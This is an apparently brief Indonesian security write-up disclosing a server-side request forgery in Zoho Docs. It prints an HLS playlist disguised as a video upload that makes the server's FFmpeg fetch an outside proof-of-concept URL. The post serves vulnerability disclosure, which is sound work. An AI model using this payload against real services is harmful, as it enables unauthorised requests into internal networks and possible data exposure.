SSRF on Zoho Docs via FFMPEG
Jul 22, 2017 · 1 min read
Zoho docs memiliki fitur untuk melakukan upload file termasuk video. Oleh karena itu saya mencoba untuk melakukan SSRF dengan mengupload file video berisikan EXTm3U tag seperti berikut :
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
#EXT-X-BYTERANGE: 0
ethicninja.txt
#EXTINF:1.0,
http://poc.ethic.ninja/hellossrf
#EXT-X-ENDLIST
Dan.. boom! server melakukan request ke server poc.ethic.ninja

Referensi SSRF HLS
